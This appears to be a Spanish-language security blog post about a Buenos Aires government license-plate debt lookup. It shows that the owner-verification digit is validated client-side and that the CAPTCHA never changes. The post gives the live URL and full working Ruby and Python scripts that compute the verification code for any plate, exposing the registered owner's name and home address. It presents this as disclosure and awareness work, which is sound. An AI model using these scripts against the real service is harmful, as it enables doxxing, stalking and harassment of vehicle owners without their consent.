/ 8 min de lectura

OSINT de patentes: el registro vehicular argentino

Patente argentina del Mercosur

Prueba estática del CAPTCHA Probando múltiples códigos de verificación con JMO089: noten que el CAPTCHA nunca cambia

Esta investigación surgió de un caso real: un accidente de tránsito en moto en el que el responsable no se detuvo a asistir y escapó del lugar.

Sin testigos y sin respuesta de la policía, empezamos una búsqueda propia para identificar el vehículo, con el único dato disponible:

El número de patente

Por razones de confidencialidad, no usamos la patente real del caso, sino una que pudimos leer en el registro automotor mientras se tramitaba el seguro.

La pregunta

¿Existe algún sistema que permita consultar los datos y el estado de un vehículo que circula por la calle? La respuesta es sí.

Después de algunas búsquedas en Google, encontramos un servicio de rentas de la provincia de Buenos Aires que permite consultar el estado de deuda de las patentes:

https://lbserver02.agip.gob.ar/ConsultaPat/index.html

El sistema funciona de dos maneras: si no sos el titular, solo podés obtener los datos correspondientes a las deudas del vehículo, pero el sistema no te deja acceder a las secciones que identifican a la persona registrada en el Registro Automotor como titular del vehículo.

Por otro lado, para verificar la titularidad del vehículo, el sistema pide ingresar un número de verificación especial y único que solo debería tener el titular del auto, ya que se usa para imprimir comprobantes de pago de deudas que incluyen los datos personales del titular, garantizando así la privacidad de los datos del usuario.

Lo primero que podemos analizar en el sitio es que el dígito de verificación especial del sistema solo acepta valores que van de 00 a 99 (el valor no es tan único como uno podría pensar).

Función de validación en JavaScript

La patente a estudiar en este post va a ser JMO089. Después de hacer algunas pruebas manuales, podemos ver que el captcha del sistema nunca se actualiza una vez que estamos asociados a una sesión, lo que permite probar manualmente las 99 combinaciones posibles hasta encontrar la correcta.

Análisis de archivos JavaScript

En la imagen podemos ver que el captcha no cambia mientras probamos las combinaciones numéricas posibles hasta encontrar la correcta, lo que da la posibilidad de programar un brute forcer que pruebe todos los valores posibles hasta dar con el correcto. Pero ese ataque presenta un problema frente a un captcha, que no abordamos por falta de tiempo para programar un OCR.

La pregunta que surgió fue:

¿De qué manera valida el sistema el valor correcto del dígito de verificación?

La primera hipótesis fue que el sistema validaba el valor del lado del servidor después de la consulta, así que empezamos a revisar los requests que hacía el sitio al enviar el formulario, usando Live HTTP Headers.

Análisis de HTTP Headers

El análisis mostró que la validación no generaba ningún request hacia el backend. En términos técnicos, eso significa que la validación se hace del lado del cliente, es decir:

EL SISTEMA VALIDA POR JAVASCRIPT

Esto implica que el algoritmo de validación del código de verificación se sirve en algún archivo javascript del lado del navegador, así que empezamos a analizar el documento fuente HTML para identificar alguna pista de la validación. Los primeros archivos que analizamos fueron los siguientes:

Código fuente del algoritmo de validación

Dentro del archivo consultaDatos.js encontramos la siguiente función con un nombre revelador: validaDatos

Código fuente del algoritmo de validación
if (!check.checked && patente.valido(dom1) != true)

En la misma función, se puede ver en las líneas resaltadas la estructura donde se decide el mensaje de patente válida: depende del estado marcado del checkbox y del resultado de la función patente.valido(), necesario para resolver correctamente la estructura de decisión del if().

El problema era que la función patente.valido() no estaba en el mismo documento, así que fue necesario encontrar el archivo donde estaba ubicada.

Para quienes no estén familiarizados con el funcionamiento de JavaScript, cabe aclarar que los archivos js representan un código grande estructurado y dividido en distintos archivos para mejorar la organización, pero siempre que esos archivos se incluyen en el HTML, pueden llamar a funciones definidas entre ellos como si fueran todos miembros de la misma clase.

Después de buscar un poco, llegamos al siguiente archivo:

Código fuente del algoritmo de validación

Donde podemos obtener la estructura del código validador:

Código fuente del algoritmo de validación

Función completa: http://pastebin.com/gYTdC9Yh

Después de analizar el código con cuidado, pudimos descubrir su comportamiento final.

El código calcula el dígito de verificación a partir de la patente del vehículo, sustituyendo las letras por números especiales para formar una cadena decimal, que luego suma según su índice: posiciones pares de un lado e impares del otro, como si se tratara de un array.

Código fuente del algoritmo de validación

Luego, si estos valores separados (digi1 y digi2) tienen una longitud mayor a un dígito (0 a 9), se vuelven a sumar respectivamente hasta obtener 2 números independientes con una longitud de un dígito (0 a 9).

Y después los concatena para obtener el número mágico de verificación:

Cálculo de verificación

Esta función no tiene ninguna protección y se puede invocar desde la consola de desarrollo de Google Chrome o Firefox:

Prueba desde la consola

Con este número de verificación, podemos hacer la consulta con éxito:

Consulta exitosa

Al pedir una factura, podemos ver los datos personales, incluyendo el nombre del titular registrado y su domicilio:

Datos personales expuestos Resultado de la patente

Después de hacer algo de ingeniería inversa, desarrollamos los siguientes scripts que permiten calcular cualquier dígito de verificación con solo el número de patente:

Script en Ruby

require 'colorize' # By hdbreaker
class Calculate
def initialize()
# Initialize class associative array
@letrasValidas = {
'A' => '14', 'B' => '01', 'C' => '00', 'D' => '16', 'E' => '05', 'F' => '20', 'G' => '19',
'H' => '09', 'I' => '24', 'J' => '07', 'K' => '21', 'L' => '08', 'M' => '04', 'N' => '13',
'O' => '25', 'P' => '22', 'Q' => '18', 'R' => '10', 'S' => '02', 'T' => '06', 'U' => '12',
'V' => '23', 'W' => '11', 'X' => '03', 'Y' => '15', 'Z' => '17', ' ' => '60'
}
end
# Function to calculate license plate number
def calculate(patente)
patAux = patente.upcase
pares = 0
impares = 0
# Block to substitute letters with corresponding numbers
@letrasValidas.each { |key|
if(patAux.include? key[0])
patAux = patAux.gsub(key[0], key[1])
end
}
# Sum odds on one side and evens on the other
for x in (0...patAux.length)
if (x % 2 == 0)
pares += patAux[x].to_i
else
impares += patAux[x].to_i
end
end
# If the sum of evens gives a number greater than 1 digit, sum them again until obtaining 1 digit
digi1 = pares.to_s
while (digi1.length > 1)
pares = 0
for x in (0...digi1.length)
pares += digi1[x].to_i
end
digi1 = pares.to_s
end
# If the sum of odds gives a number greater than 1 digit, sum them again until obtaining 1 digit
digi2 = impares.to_s
while (digi2.length > 1)
impares = 0
for x in (0...digi2.length)
impares += digi2[x].to_i
end
digi2 = impares.to_s
end
# Screen output
puts "\n############## Buenos Aires Revenue ##############".green
puts "URL: ".green+"https://lbserver02.agip.gob.ar/ConsultaPat/index.html".red
puts "License Plate: ".green+patente.red
puts "Verification Code: ".green+digi1.red+""+digi2.red
puts "\n"
end
end
if(ARGV.length==1)
obj = Calculate.new()
obj.calculate(ARGV[0].to_s)
else
puts "Usage: ruby calculate.rb [license_plate]"
end

También dejo el script en Python creado por [Q]3rV[0]:

Script en Python

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author : [Q]3rV[0]
import re
def main():
pares = 0
impares = 0
letrasPatente = {
"A":"14", "B":"01", "C":"00", "D":"16", "E":"05", "F":"20", "G":"19", "H":"09",
"I":"24", "J":"07", "K":"21", "L":"08", "M":"04", "N":"13", "O":"25", "P":"22",
"Q":"18", "R":"10", "S":"02", "T":"06", "U":"12", "V":"23", "W":"11", "X":"03",
"Y":"15", "Z":"17", " ":"60"
}
input_plate = raw_input("License Plate Number: ")
patente = input_plate.upper()
if re.match("[A-Z][A-Z][A-Z][0-9][0-9][0-9]$", patente) != None:
toInt = ""
for n in patente[0:3]:
toInt += letrasPatente[n]
nums = toInt + patente[3:]
for n in range(len(nums)):
if n % 2 == 0:
pares += int(nums[n])
else:
impares += int(nums[n])
while len(str(pares)) != 1:
dp = 0
for p in str(pares):
dp += int(p)
pares = dp
while len(str(impares)) != 1:
di = 0
for i in str(impares):
di += int(i)
impares = di
print "| License Plate: %s | Verification Code: %s%s |" % (patente, pares, impares)
else:
print "[*] Error, Make sure the license plate format is correct. Example: GTD125"
if __name__ == '__main__':
main()

Conclusión

Esta investigación busca generar conciencia sobre la seguridad de los datos personales: la falla está en un sistema gubernamental que expone de manera irresponsable información personal asociada a cada patente.

El impacto va más allá de lo técnico. Cualquier persona que conozca el número de patente de un vehículo puede obtener el nombre y el domicilio de su titular sin autorización, lo que además del riesgo de privacidad habilita escenarios de acoso o daño a terceros.


Investigación realizada por: el equipo de Volt AI
Post original: Security Signal Blog
Impacto: Demuestra vulnerabilidades serias de privacidad en sistemas gubernamentales